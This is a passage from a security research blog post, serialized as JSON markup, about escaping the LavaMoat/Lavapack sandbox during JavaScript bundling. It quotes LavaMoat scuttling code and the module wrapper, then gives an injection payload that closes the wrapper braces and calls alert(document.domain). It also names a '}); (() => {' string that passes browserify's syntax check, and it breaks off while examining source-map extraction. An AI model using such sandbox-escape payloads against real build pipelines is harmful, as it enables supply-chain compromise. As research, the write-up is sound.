",{"type":23,"tag":92,"props":47071,"children":47073},{"className":47072},[],[47074],{"type":28,"value":47075},"GlobalThis",{"type":28,"value":47077}," object is leaked by an attacker or accessed through a malicious package manager, scuttling removes sensitive APIs, preventing malicious requests from being executed.",{"type":23,"tag":24,"props":47079,"children":47080},{},[47081,47083,47090],{"type":28,"value":47082},"For example, ",{"type":23,"tag":31,"props":47084,"children":47087},{"href":47085,"rel":47086},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L57",[35],[47088],{"type":28,"value":47089},"here",{"type":28,"value":47091}," we see how Lavamoat checks if the feature is enabled after the root package compartment is created:",{"type":23,"tag":87,"props":47093,"children":47095},{"className":30858,"code":47094,"language":30860,"meta":7,"style":7},"    if (scuttleOpts.enabled) {\n      if (!Array.isArray(scuttleOpts.exceptions)) {\n        throw new Error(`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"${typeof scuttleOpts.exceptions}\"`)\n      }\n      scuttleOpts.scuttlerFunc(globalRef, realm => performScuttleGlobalThis(realm, scuttleOpts.exceptions))\n    }\n",[47096],{"type":23,"tag":92,"props":47097,"children":47098},{"__ignoreMap":7},[47099,47128,47178,47237,47244,47316],{"type":23,"tag":134,"props":47100,"children":47101},{"class":136,"line":137},[47102,47106,47110,47115,47119,47124],{"type":23,"tag":134,"props":47103,"children":47104},{"style":189},[47105],{"type":28,"value":11746},{"type":23,"tag":134,"props":47107,"children":47108},{"style":179},[47109],{"type":28,"value":232},{"type":23,"tag":134,"props":47111,"children":47112},{"style":162},[47113],{"type":28,"value":47114},"scuttleOpts",{"type":23,"tag":134,"props":47116,"children":47117},{"style":179},[47118],{"type":28,"value":720},{"type":23,"tag":134,"props":47120,"children":47121},{"style":162},[47122],{"type":28,"value":47123},"enabled",{"type":23,"tag":134,"props":47125,"children":47126},{"style":179},[47127],{"type":28,"value":14272},{"type":23,"tag":134,"props":47129,"children":47130},{"class":136,"line":147},[47131,47135,47139,47143,47148,47152,47157,47161,47165,47169,47174],{"type":23,"tag":134,"props":47132,"children":47133},{"style":189},[47134],{"type":28,"value":38785},{"type":23,"tag":134,"props":47136,"children":47137},{"style":179},[47138],{"type":28,"value":232},{"type":23,"tag":134,"props":47140,"children":47141},{"style":168},[47142],{"type":28,"value":20099},{"type":23,"tag":134,"props":47144,"children":47145},{"style":162},[47146],{"type":28,"value":47147},"Array",{"type":23,"tag":134,"props":47149,"children":47150},{"style":179},[47151],{"type":28,"value":720},{"type":23,"tag":134,"props":47153,"children":47154},{"style":264},[47155],{"type":28,"value":47156},"isArray",{"type":23,"tag":134,"props":47158,"children":47159},{"style":179},[47160],{"type":28,"value":272},{"type":23,"tag":134,"props":47162,"children":47163},{"style":162},[47164],{"type":28,"value":47114},{"type":23,"tag":134,"props":47166,"children":47167},{"style":179},[47168],{"type":28,"value":720},{"type":23,"tag":134,"props":47170,"children":47171},{"style":162},[47172],{"type":28,"value":47173},"exceptions",{"type":23,"tag":134,"props":47175,"children":47176},{"style":179},[47177],{"type":28,"value":34691},{"type":23,"tag":134,"props":47179,"children":47180},{"class":136,"line":185},[47181,47186,47190,47194,47198,47203,47207,47211,47216,47220,47224,47228,47233],{"type":23,"tag":134,"props":47182,"children":47183},{"style":189},[47184],{"type":28,"value":47185},"        throw",{"type":23,"tag":134,"props":47187,"children":47188},{"style":151},[47189],{"type":28,"value":31428},{"type":23,"tag":134,"props":47191,"children":47192},{"style":264},[47193],{"type":28,"value":39782},{"type":23,"tag":134,"props":47195,"children":47196},{"style":179},[47197],{"type":28,"value":272},{"type":23,"tag":134,"props":47199,"children":47200},{"style":1461},[47201],{"type":28,"value":47202},"`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"",{"type":23,"tag":134,"props":47204,"children":47205},{"style":151},[47206],{"type":28,"value":33605},{"type":23,"tag":134,"props":47208,"children":47209},{"style":151},[47210],{"type":28,"value":30898},{"type":23,"tag":134,"props":47212,"children":47213},{"style":162},[47214],{"type":28,"value":47215}," scuttleOpts",{"type":23,"tag":134,"props":47217,"children":47218},{"style":168},[47219],{"type":28,"value":720},{"type":23,"tag":134,"props":47221,"children":47222},{"style":162},[47223],{"type":28,"value":47173},{"type":23,"tag":134,"props":47225,"children":47226},{"style":151},[47227],{"type":28,"value":33637},{"type":23,"tag":134,"props":47229,"children":47230},{"style":1461},[47231],{"type":28,"value":47232},"\"`",{"type":23,"tag":134,"props":47234,"children":47235},{"style":179},[47236],{"type":28,"value":329},{"type":23,"tag":134,"props":47238,"children":47239},{"class":136,"line":221},[47240],{"type":23,"tag":134,"props":47241,"children":47242},{"style":179},[47243],{"type":28,"value":12131},{"type":23,"tag":134,"props":47245,"children":47246},{"class":136,"line":332},[47247,47252,47256,47261,47265,47270,47274,47279,47283,47288,47292,47296,47300,47304,47308,47312],{"type":23,"tag":134,"props":47248,"children":47249},{"style":162},[47250],{"type":28,"value":47251},"      scuttleOpts",{"type":23,"tag":134,"props":47253,"children":47254},{"style":179},[47255],{"type":28,"value":720},{"type":23,"tag":134,"props":47257,"children":47258},{"style":264},[47259],{"type":28,"value":47260},"scuttlerFunc",{"type":23,"tag":134,"props":47262,"children":47263},{"style":179},[47264],{"type":28,"value":272},{"type":23,"tag":134,"props":47266,"children":47267},{"style":162},[47268],{"type":28,"value":47269},"globalRef",{"type":23,"tag":134,"props":47271,"children":47272},{"style":179},[47273],{"type":28,"value":242},{"type":23,"tag":134,"props":47275,"children":47276},{"style":162},[47277],{"type":28,"value":47278},"realm",{"type":23,"tag":134,"props":47280,"children":47281},{"style":151},[47282],{"type":28,"value":27244},{"type":23,"tag":134,"props":47284,"children":47285},{"style":264},[47286],{"type":28,"value":47287}," performScuttleGlobalThis",{"type":23,"tag":134,"props":47289,"children":47290},{"style":179},[47291],{"type":28,"value":272},{"type":23,"tag":134,"props":47293,"children":47294},{"style":162},[47295],{"type":28,"value":47278},{"type":23,"tag":134,"props":47297,"children":47298},{"style":179},[47299],{"type":28,"value":242},{"type":23,"tag":134,"props":47301,"children":47302},{"style":162},[47303],{"type":28,"value":47114},{"type":23,"tag":134,"props":47305,"children":47306},{"style":179},[47307],{"type":28,"value":720},{"type":23,"tag":134,"props":47309,"children":47310},{"style":162},[47311],{"type":28,"value":47173},{"type":23,"tag":134,"props":47313,"children":47314},{"style":179},[47315],{"type":28,"value":19189},{"type":23,"tag":134,"props":47317,"children":47318},{"class":136,"line":438},[47319],{"type":23,"tag":134,"props":47320,"children":47321},{"style":179},[47322],{"type":28,"value":533},{"type":23,"tag":24,"props":47324,"children":47325},{},[47326,47328,47334,47336,47342],{"type":28,"value":47327},"Subsequently, the code defines a ",{"type":23,"tag":31,"props":47329,"children":47332},{"href":47330,"rel":47331},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L74",[35],[47333],{"type":28,"value":30872},{"type":28,"value":47335}," called ",{"type":23,"tag":92,"props":47337,"children":47339},{"className":47338},[],[47340],{"type":28,"value":47341},"generateScuttleOpts",{"type":28,"value":47343}," that creates and returns an options object.",{"type":23,"tag":24,"props":47345,"children":47346},{},[47347,47349,47355,47356,47362,47364,47369,47371,47377],{"type":28,"value":47348},"Finally, the ",{"type":23,"tag":92,"props":47350,"children":47352},{"className":47351},[],[47353],{"type":28,"value":47354},"performScuttleGlobalThis",{"type":28,"value":5915},{"type":23,"tag":31,"props":47357,"children":47360},{"href":47358,"rel":47359},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L125",[35],[47361],{"type":28,"value":30872},{"type":28,"value":47363}," modifies the properties of the global object (",{"type":23,"tag":92,"props":47365,"children":47367},{"className":47366},[],[47368],{"type":28,"value":47269},{"type":28,"value":47370},"). It starts by creating an array ",{"type":23,"tag":92,"props":47372,"children":47374},{"className":47373},[],[47375],{"type":28,"value":47376},"props",{"type":28,"value":47378},", containing the names of all properties in the prototype chain of globalRef. Then, an empty object is then created to serve as a proxy for scuttled properties. The function then iterates over each property, making changes to the global window object based on the provided configuration.",{"type":23,"tag":61,"props":47380,"children":47382},{"id":47381},"hacking-webpacks",[47383],{"type":28,"value":47384},"Hacking Webpacks",{"type":23,"tag":24,"props":47386,"children":47387},{},[47388],{"type":28,"value":47389},"Now let's get to the fun stuff.",{"type":23,"tag":24,"props":47391,"children":47392},{},[47393],{"type":28,"value":47394},"Webpack is used to bundle all modules and packages into a single file. It inserts all the code of these modules into the bundle file. Checking Lavapack source code, we can see how this actually happens.",{"type":23,"tag":87,"props":47396,"children":47398},{"className":30858,"code":47397,"language":30860,"meta":7,"style":7},"  const filename = encodeURI(String(moduleData.file))\n  let moduleWrapperSource\n  if (bundleWithPrecompiledModules) {\n    moduleWrapperSource = `function(){\n      with (this.scopeTerminator) {\n        with (this.globalThis) {\n          return function() {\n            'use strict';\n            // source: ${filename}\n            return function (require, module, exports) {\n              __MODULE_CONTENT__\n            };\n          };\n        }\n      }\n    }`\n",[47399],{"type":23,"tag":92,"props":47400,"children":47401},{"__ignoreMap":7},[47402,47454,47466,47486,47503,47511,47519,47527,47535,47556,47564,47572,47580,47587,47594,47601],{"type":23,"tag":134,"props":47403,"children":47404},{"class":136,"line":137},[47405,47409,47414,47418,47423,47427,47432,47436,47441,47445,47450],{"type":23,"tag":134,"props":47406,"children":47407},{"style":151},[47408],{"type":28,"value":35686},{"type":23,"tag":134,"props":47410,"children":47411},{"style":162},[47412],{"type":28,"value":47413}," filename",{"type":23,"tag":134,"props":47415,"children":47416},{"style":168},[47417],{"type":28,"value":171},{"type":23,"tag":134,"props":47419,"children":47420},{"style":264},[47421],{"type":28,"value":47422}," encodeURI",{"type":23,"tag":134,"props":47424,"children":47425},{"style":179},[47426],{"type":28,"value":272},{"type":23,"tag":134,"props":47428,"children":47429},{"style":264},[47430],{"type":28,"value":47431},"String",{"type":23,"tag":134,"props":47433,"children":47434},{"style":179},[47435],{"type":28,"value":272},{"type":23,"tag":134,"props":47437,"children":47438},{"style":162},[47439],{"type":28,"value":47440},"moduleData",{"type":23,"tag":134,"props":47442,"children":47443},{"style":179},[47444],{"type":28,"value":720},{"type":23,"tag":134,"props":47446,"children":47447},{"style":162},[47448],{"type":28,"value":47449},"file",{"type":23,"tag":134,"props":47451,"children":47452},{"style":179},[47453],{"type":28,"value":19189},{"type":23,"tag":134,"props":47455,"children":47456},{"class":136,"line":147},[47457,47461],{"type":23,"tag":134,"props":47458,"children":47459},{"style":151},[47460],{"type":28,"value":7314},{"type":23,"tag":134,"props":47462,"children":47463},{"style":162},[47464],{"type":28,"value":47465}," moduleWrapperSource\n",{"type":23,"tag":134,"props":47467,"children":47468},{"class":136,"line":185},[47469,47473,47477,47482],{"type":23,"tag":134,"props":47470,"children":47471},{"style":189},[47472],{"type":28,"value":30889},{"type":23,"tag":134,"props":47474,"children":47475},{"style":179},[47476],{"type":28,"value":232},{"type":23,"tag":134,"props":47478,"children":47479},{"style":162},[47480],{"type":28,"value":47481},"bundleWithPrecompiledModules",{"type":23,"tag":134,"props":47483,"children":47484},{"style":179},[47485],{"type":28,"value":14272},{"type":23,"tag":134,"props":47487,"children":47488},{"class":136,"line":221},[47489,47494,47498],{"type":23,"tag":134,"props":47490,"children":47491},{"style":162},[47492],{"type":28,"value":47493},"    moduleWrapperSource",{"type":23,"tag":134,"props":47495,"children":47496},{"style":168},[47497],{"type":28,"value":171},{"type":23,"tag":134,"props":47499,"children":47500},{"style":1461},[47501],{"type":28,"value":47502}," `function(){\n",{"type":23,"tag":134,"props":47504,"children":47505},{"class":136,"line":332},[47506],{"type":23,"tag":134,"props":47507,"children":47508},{"style":1461},[47509],{"type":28,"value":47510},"      with (this.scopeTerminator) {\n",{"type":23,"tag":134,"props":47512,"children":47513},{"class":136,"line":438},[47514],{"type":23,"tag":134,"props":47515,"children":47516},{"style":1461},[47517],{"type":28,"value":47518},"        with (this.globalThis) {\n",{"type":23,"tag":134,"props":47520,"children":47521},{"class":136,"line":466},[47522],{"type":23,"tag":134,"props":47523,"children":47524},{"style":1461},[47525],{"type":28,"value":47526},"          return function() {\n",{"type":23,"tag":134,"props":47528,"children":47529},{"class":136,"line":479},[47530],{"type":23,"tag":134,"props":47531,"children":47532},{"style":1461},[47533],{"type":28,"value":47534},"            'use strict';\n",{"type":23,"tag":134,"props":47536,"children":47537},{"class":136,"line":497},[47538,47543,47547,47552],{"type":23,"tag":134,"props":47539,"children":47540},{"style":1461},[47541],{"type":28,"value":47542},"            // source: ",{"type":23,"tag":134,"props":47544,"children":47545},{"style":151},[47546],{"type":28,"value":33605},{"type":23,"tag":134,"props":47548,"children":47549},{"style":162},[47550],{"type":28,"value":47551},"filename",{"type":23,"tag":134,"props":47553,"children":47554},{"style":151},[47555],{"type":28,"value":1098},{"type":23,"tag":134,"props":47557,"children":47558},{"class":136,"line":518},[47559],{"type":23,"tag":134,"props":47560,"children":47561},{"style":1461},[47562],{"type":28,"value":47563},"            return function (require, module, exports) {\n",{"type":23,"tag":134,"props":47565,"children":47566},{"class":136,"line":527},[47567],{"type":23,"tag":134,"props":47568,"children":47569},{"style":1461},[47570],{"type":28,"value":47571},"              __MODULE_CONTENT__\n",{"type":23,"tag":134,"props":47573,"children":47574},{"class":136,"line":780},[47575],{"type":23,"tag":134,"props":47576,"children":47577},{"style":1461},[47578],{"type":28,"value":47579},"            };\n",{"type":23,"tag":134,"props":47581,"children":47582},{"class":136,"line":797},[47583],{"type":23,"tag":134,"props":47584,"children":47585},{"style":1461},[47586],{"type":28,"value":8162},{"type":23,"tag":134,"props":47588,"children":47589},{"class":136,"line":814},[47590],{"type":23,"tag":134,"props":47591,"children":47592},{"style":1461},[47593],{"type":28,"value":524},{"type":23,"tag":134,"props":47595,"children":47596},{"class":136,"line":827},[47597],{"type":23,"tag":134,"props":47598,"children":47599},{"style":1461},[47600],{"type":28,"value":12131},{"type":23,"tag":134,"props":47602,"children":47603},{"class":136,"line":836},[47604],{"type":23,"tag":134,"props":47605,"children":47606},{"style":1461},[47607],{"type":28,"value":47608},"    }`\n",{"type":23,"tag":24,"props":47610,"children":47611},{},[47612,47614,47620,47622,47628],{"type":28,"value":47613},"Lavapack uses ",{"type":23,"tag":92,"props":47615,"children":47617},{"className":47616},[],[47618],{"type":28,"value":47619},"with()",{"type":28,"value":47621}," proxies to restrict the objects accessible by the module, and ",{"type":23,"tag":92,"props":47623,"children":47625},{"className":47624},[],[47626],{"type":28,"value":47627},"__MODULE_CONTENT__",{"type":28,"value":47629}," is replaced by the content of a file required by the project being built.",{"type":23,"tag":9072,"props":47631,"children":47633},{"id":47632},"injection-not-so-simple",[47634],{"type":28,"value":47635},"Injection? Not So Simple",{"type":23,"tag":24,"props":47637,"children":47638},{},[47639,47641,47646],{"type":28,"value":47640},"We first tried to inject invalid javascript inside a javascript file, and then attempt to escape the ",{"type":23,"tag":92,"props":47642,"children":47644},{"className":47643},[],[47645],{"type":28,"value":12118},{"type":28,"value":47647}," environment:",{"type":23,"tag":87,"props":47649,"children":47651},{"className":30858,"code":47650,"language":30860,"meta":7,"style":7},"   } // end function 1\n  } // end function 2\n } // end with 1\n} // end with 2\n\nalert(document.domain)\n",[47652],{"type":23,"tag":92,"props":47653,"children":47654},{"__ignoreMap":7},[47655,47668,47680,47692,47704,47711],{"type":23,"tag":134,"props":47656,"children":47657},{"class":136,"line":137},[47658,47663],{"type":23,"tag":134,"props":47659,"children":47660},{"style":179},[47661],{"type":28,"value":47662},"   } ",{"type":23,"tag":134,"props":47664,"children":47665},{"style":141},[47666],{"type":28,"value":47667},"// end function 1\n",{"type":23,"tag":134,"props":47669,"children":47670},{"class":136,"line":147},[47671,47675],{"type":23,"tag":134,"props":47672,"children":47673},{"style":179},[47674],{"type":28,"value":30963},{"type":23,"tag":134,"props":47676,"children":47677},{"style":141},[47678],{"type":28,"value":47679},"// end function 2\n",{"type":23,"tag":134,"props":47681,"children":47682},{"class":136,"line":185},[47683,47687],{"type":23,"tag":134,"props":47684,"children":47685},{"style":179},[47686],{"type":28,"value":35700},{"type":23,"tag":134,"props":47688,"children":47689},{"style":141},[47690],{"type":28,"value":47691},"// end with 1\n",{"type":23,"tag":134,"props":47693,"children":47694},{"class":136,"line":221},[47695,47699],{"type":23,"tag":134,"props":47696,"children":47697},{"style":179},[47698],{"type":28,"value":46378},{"type":23,"tag":134,"props":47700,"children":47701},{"style":141},[47702],{"type":28,"value":47703},"// end with 2\n",{"type":23,"tag":134,"props":47705,"children":47706},{"class":136,"line":332},[47707],{"type":23,"tag":134,"props":47708,"children":47709},{"emptyLinePlaceholder":15},[47710],{"type":28,"value":865},{"type":23,"tag":134,"props":47712,"children":47713},{"class":136,"line":438},[47714,47718,47722,47726,47730,47734],{"type":23,"tag":134,"props":47715,"children":47716},{"style":264},[47717],{"type":28,"value":32193},{"type":23,"tag":134,"props":47719,"children":47720},{"style":179},[47721],{"type":28,"value":272},{"type":23,"tag":134,"props":47723,"children":47724},{"style":162},[47725],{"type":28,"value":32203},{"type":23,"tag":134,"props":47727,"children":47728},{"style":179},[47729],{"type":28,"value":720},{"type":23,"tag":134,"props":47731,"children":47732},{"style":162},[47733],{"type":28,"value":32213},{"type":23,"tag":134,"props":47735,"children":47736},{"style":179},[47737],{"type":28,"value":329},{"type":23,"tag":24,"props":47739,"children":47740},{},[47741,47743,47749,47751,47758],{"type":28,"value":47742},"However, when we tried to bundle it, a ",{"type":23,"tag":92,"props":47744,"children":47746},{"className":47745},[],[47747],{"type":28,"value":47748},"ParseError",{"type":28,"value":47750}," was thrown. This is because Lavapack is a plugin of ",{"type":23,"tag":31,"props":47752,"children":47755},{"href":47753,"rel":47754},"https://github.com/browserify/browserify",[35],[47756],{"type":28,"value":47757},"browserify",{"type":28,"value":47759},", which has a syntax check before replacing the code.",{"type":23,"tag":24,"props":47761,"children":47762},{},[47763,47765,47771,47773,47779,47781,47787,47789,47794],{"type":28,"value":47764},"Looking deeper into browserify, we find it has a ",{"type":23,"tag":92,"props":47766,"children":47768},{"className":47767},[],[47769],{"type":28,"value":47770},"syntax",{"type":28,"value":47772}," stage on it's pipeline, and uses the ",{"type":23,"tag":92,"props":47774,"children":47776},{"className":47775},[],[47777],{"type":28,"value":47778},"syntax-error",{"type":28,"value":47780}," npm package to validate the syntax of each javascript file content. Since Lavapack replaces the ",{"type":23,"tag":92,"props":47782,"children":47784},{"className":47783},[],[47785],{"type":28,"value":47786},"pack",{"type":28,"value":47788}," stage on browserify pipeline, which comes after the ",{"type":23,"tag":92,"props":47790,"children":47792},{"className":47791},[],[47793],{"type":28,"value":47770},{"type":28,"value":47795},", it was not possible to inject invalid javascript to escape the Lavamoat sandbox.",{"type":23,"tag":24,"props":47797,"children":47798},{},[47799],{"type":23,"tag":1116,"props":47800,"children":47803},{"alt":47801,"src":47802},"Pipeline","/posts/supply-chain-attacks-a-new-era/pipeline.png",[],{"type":23,"tag":24,"props":47805,"children":47806},{},[47807,47808,47813,47815,47820],{"type":28,"value":16084},{"type":23,"tag":92,"props":47809,"children":47811},{"className":47810},[],[47812],{"type":28,"value":47778},{"type":28,"value":47814}," package performs a syntax check by using  ",{"type":23,"tag":92,"props":47816,"children":47818},{"className":47817},[],[47819],{"type":28,"value":37046},{"type":28,"value":47821}," with function hoisting:",{"type":23,"tag":87,"props":47823,"children":47825},{"className":30858,"code":47824,"language":30860,"meta":7,"style":7},"try {\n    eval('throw \"STOP\"; (function () { ' + src + '\\n})()');\n    return;\n}\ncatch (err) {\n    if (err === 'STOP') return undefined;\n    if (err.constructor.name !== 'SyntaxError') return err;\n    return errorInfo(src, file, opts);\n}\n",[47826],{"type":23,"tag":92,"props":47827,"children":47828},{"__ignoreMap":7},[47829,47841,47891,47902,47909,47930,47971,48031,48072],{"type":23,"tag":134,"props":47830,"children":47831},{"class":136,"line":137},[47832,47837],{"type":23,"tag":134,"props":47833,"children":47834},{"style":189},[47835],{"type":28,"value":47836},"try",{"type":23,"tag":134,"props":47838,"children":47839},{"style":179},[47840],{"type":28,"value":463},{"type":23,"tag":134,"props":47842,"children":47843},{"class":136,"line":147},[47844,47849,47853,47858,47862,47867,47871,47876,47882,47887],{"type":23,"tag":134,"props":47845,"children":47846},{"style":264},[47847],{"type":28,"value":47848},"    eval",{"type":23,"tag":134,"props":47850,"children":47851},{"style":179},[47852],{"type":28,"value":272},{"type":23,"tag":134,"props":47854,"children":47855},{"style":1461},[47856],{"type":28,"value":47857},"'throw \"STOP\"; (function () { '",{"type":23,"tag":134,"props":47859,"children":47860},{"style":168},[47861],{"type":28,"value":8365},{"type":23,"tag":134,"props":47863,"children":47864},{"style":162},[47865],{"type":28,"value":47866}," src",{"type":23,"tag":134,"props":47868,"children":47869},{"style":168},[47870],{"type":28,"value":8365},{"type":23,"tag":134,"props":47872,"children":47873},{"style":1461},[47874],{"type":28,"value":47875}," '",{"type":23,"tag":134,"props":47877,"children":47879},{"style":47878},"--shiki-default:#D7BA7D",[47880],{"type":28,"value":47881},"\\n",{"type":23,"tag":134,"props":47883,"children":47884},{"style":1461},[47885],{"type":28,"value":47886},"})()'",{"type":23,"tag":134,"props":47888,"children":47889},{"style":179},[47890],{"type":28,"value":1021},{"type":23,"tag":134,"props":47892,"children":47893},{"class":136,"line":185},[47894,47898],{"type":23,"tag":134,"props":47895,"children":47896},{"style":189},[47897],{"type":28,"value":16461},{"type":23,"tag":134,"props":47899,"children":47900},{"style":179},[47901],{"type":28,"value":182},{"type":23,"tag":134,"props":47903,"children":47904},{"class":136,"line":221},[47905],{"type":23,"tag":134,"props":47906,"children":47907},{"style":179},[47908],{"type":28,"value":1098},{"type":23,"tag":134,"props":47910,"children":47911},{"class":136,"line":332},[47912,47917,47921,47926],{"type":23,"tag":134,"props":47913,"children":47914},{"style":189},[47915],{"type":28,"value":47916},"catch",{"type":23,"tag":134,"props":47918,"children":47919},{"style":179},[47920],{"type":28,"value":232},{"type":23,"tag":134,"props":47922,"children":47923},{"style":162},[47924],{"type":28,"value":47925},"err",{"type":23,"tag":134,"props":47927,"children":47928},{"style":179},[47929],{"type":28,"value":14272},{"type":23,"tag":134,"props":47931,"children":47932},{"class":136,"line":438},[47933,47937,47941,47945,47949,47954,47958,47963,47967],{"type":23,"tag":134,"props":47934,"children":47935},{"style":189},[47936],{"type":28,"value":11746},{"type":23,"tag":134,"props":47938,"children":47939},{"style":179},[47940],{"type":28,"value":232},{"type":23,"tag":134,"props":47942,"children":47943},{"style":162},[47944],{"type":28,"value":47925},{"type":23,"tag":134,"props":47946,"children":47947},{"style":168},[47948],{"type":28,"value":30917},{"type":23,"tag":134,"props":47950,"children":47951},{"style":1461},[47952],{"type":28,"value":47953}," 'STOP'",{"type":23,"tag":134,"props":47955,"children":47956},{"style":179},[47957],{"type":28,"value":252},{"type":23,"tag":134,"props":47959,"children":47960},{"style":189},[47961],{"type":28,"value":47962},"return",{"type":23,"tag":134,"props":47964,"children":47965},{"style":151},[47966],{"type":28,"value":38836},{"type":23,"tag":134,"props":47968,"children":47969},{"style":179},[47970],{"type":28,"value":182},{"type":23,"tag":134,"props":47972,"children":47973},{"class":136,"line":466},[47974,47978,47982,47986,47990,47995,47999,48004,48009,48014,48018,48022,48027],{"type":23,"tag":134,"props":47975,"children":47976},{"style":189},[47977],{"type":28,"value":11746},{"type":23,"tag":134,"props":47979,"children":47980},{"style":179},[47981],{"type":28,"value":232},{"type":23,"tag":134,"props":47983,"children":47984},{"style":162},[47985],{"type":28,"value":47925},{"type":23,"tag":134,"props":47987,"children":47988},{"style":179},[47989],{"type":28,"value":720},{"type":23,"tag":134,"props":47991,"children":47992},{"style":162},[47993],{"type":28,"value":47994},"constructor",{"type":23,"tag":134,"props":47996,"children":47997},{"style":179},[47998],{"type":28,"value":720},{"type":23,"tag":134,"props":48000,"children":48001},{"style":162},[48002],{"type":28,"value":48003},"name",{"type":23,"tag":134,"props":48005,"children":48006},{"style":168},[48007],{"type":28,"value":48008}," !==",{"type":23,"tag":134,"props":48010,"children":48011},{"style":1461},[48012],{"type":28,"value":48013}," 'SyntaxError'",{"type":23,"tag":134,"props":48015,"children":48016},{"style":179},[48017],{"type":28,"value":252},{"type":23,"tag":134,"props":48019,"children":48020},{"style":189},[48021],{"type":28,"value":47962},{"type":23,"tag":134,"props":48023,"children":48024},{"style":162},[48025],{"type":28,"value":48026}," err",{"type":23,"tag":134,"props":48028,"children":48029},{"style":179},[48030],{"type":28,"value":182},{"type":23,"tag":134,"props":48032,"children":48033},{"class":136,"line":479},[48034,48038,48043,48047,48051,48055,48059,48063,48068],{"type":23,"tag":134,"props":48035,"children":48036},{"style":189},[48037],{"type":28,"value":16461},{"type":23,"tag":134,"props":48039,"children":48040},{"style":264},[48041],{"type":28,"value":48042}," errorInfo",{"type":23,"tag":134,"props":48044,"children":48045},{"style":179},[48046],{"type":28,"value":272},{"type":23,"tag":134,"props":48048,"children":48049},{"style":162},[48050],{"type":28,"value":32165},{"type":23,"tag":134,"props":48052,"children":48053},{"style":179},[48054],{"type":28,"value":242},{"type":23,"tag":134,"props":48056,"children":48057},{"style":162},[48058],{"type":28,"value":47449},{"type":23,"tag":134,"props":48060,"children":48061},{"style":179},[48062],{"type":28,"value":242},{"type":23,"tag":134,"props":48064,"children":48065},{"style":162},[48066],{"type":28,"value":48067},"opts",{"type":23,"tag":134,"props":48069,"children":48070},{"style":179},[48071],{"type":28,"value":1021},{"type":23,"tag":134,"props":48073,"children":48074},{"class":136,"line":497},[48075],{"type":23,"tag":134,"props":48076,"children":48077},{"style":179},[48078],{"type":28,"value":1098},{"type":23,"tag":24,"props":48080,"children":48081},{},[48082,48084,48088,48090,48096,48098,48103],{"type":28,"value":48083},"Interestingly, it ",{"type":23,"tag":55,"props":48085,"children":48086},{},[48087],{"type":28,"value":1174},{"type":28,"value":48089}," possible to inject a ",{"type":23,"tag":92,"props":48091,"children":48093},{"className":48092},[],[48094],{"type":28,"value":48095},"}); (() => {",{"type":28,"value":48097}," inside source, and will not throw a syntax error. Unfortunately, this is not enough to bypass the ",{"type":23,"tag":92,"props":48099,"children":48101},{"className":48100},[],[48102],{"type":28,"value":47619},{"type":28,"value":48104}," sandbox of Lavapack.",{"type":23,"tag":9072,"props":48106,"children":48108},{"id":48107},"sourcemap-the-syntax-killer",[48109],{"type":28,"value":48110},"SourceMap: The Syntax Killer",{"type":23,"tag":24,"props":48112,"children":48113},{},[48114,48116,48123],{"type":28,"value":48115},"Lavapack has a feature to extract source maps files from the code using ",{"type":23,"tag":31,"props":48117,"children":48120},{"href":48118,"rel":48119},"https://www.npmjs.com/package/convert-source-map",[35],[48121],{"type":28,"value":48122},"convert-source-map",{"type":28,"value":48124}," npm package:",{"type":23,"tag":87,"props":48126,"children":48128},{"className":30858,"code":48127,"language":30860,"meta":7,"style":7},"function extractSourceMaps(sourceCode) {\n  const converter = convertSourceMap.fromSource(sourceCode)\n  // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n  const maps = converter && converter.toObject()\n  const code = convertSourceMap.removeComments(sourceCode)\n  return { code, maps }\n}\n",[48129],{"type":23,"tag":92,"props":48130,"children":48131},{"__ignoreMap":7},[48132,48156,48198,48206,48247,48288,48316],{"type":23,"tag":134,"props":48133,"children":48134},{"class":136,"line":137},[48135,48139,48144,48148,48152],{"type":23,"tag":134,"props":48136,"children":48137},{"style":151},[48138],{"type":28,"value":30872},{"type":23,"tag":134,"props":48140,"children":48141},{"style":264},[48142],{"type":28,"value":48143}," extractSourceMaps",{"type":23,"tag":134,"props":48145,"children":48146},{"style":179},[48147],{"type":28,"value":272},{"type":23,"tag":134,"props":48149,"children":48150},{"style":162},[48151],{"type":28,"value":37512},{"type":23,"tag":134,"props":48153,"children":48154},{"style":179},[48155],{"type":28,"value":14272},{"type":23,"tag":134,"props":48157,"children":48158},{"class":136,"line":147},[48159,48163,48168,48172,48177,48181,48186,48190,48194],{"type":23,"tag":134,"props":48160,"children":48161},{"style":151},[48162],{"type":28,"value":35686},{"type":23,"tag":134,"props":48164,"children":48165},{"style":162},[48166],{"type":28,"value":48167}," converter",{"type":23,"tag":134,"props":48169,"children":48170},{"style":168},[48171],{"type":28,"value":171},{"type":23,"tag":134,"props":48173,"children":48174},{"style":162},[48175],{"type":28,"value":48176}," convertSourceMap",{"type":23,"tag":134,"props":48178,"children":48179},{"style":179},[48180],{"type":28,"value":720},{"type":23,"tag":134,"props":48182,"children":48183},{"style":264},[48184],{"type":28,"value":48185},"fromSource",{"type":23,"tag":134,"props":48187,"children":48188},{"style":179},[48189],{"type":28,"value":272},{"type":23,"tag":134,"props":48191,"children":48192},{"style":162},[48193],{"type":28,"value":37512},{"type":23,"tag":134,"props":48195,"children":48196},{"style":179},[48197],{"type":28,"value":329},{"type":23,"tag":134,"props":48199,"children":48200},{"class":136,"line":185},[48201],{"type":23,"tag":134,"props":48202,"children":48203},{"style":141},[48204],{"type":28,"value":48205},"  // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n",{"type":23,"tag":134,"props":48207,"children":48208},{"class":136,"line":221},[48209,48213,48218,48222,48226,48230,48234,48238,48243],{"type":23,"tag":134,"props":48210,"children":48211},{"style":151},[48212],{"type":28,"value":35686},{"type":23,"tag":134,"props":48214,"children":48215},{"style":162},[48216],{"type":28,"value":48217}," 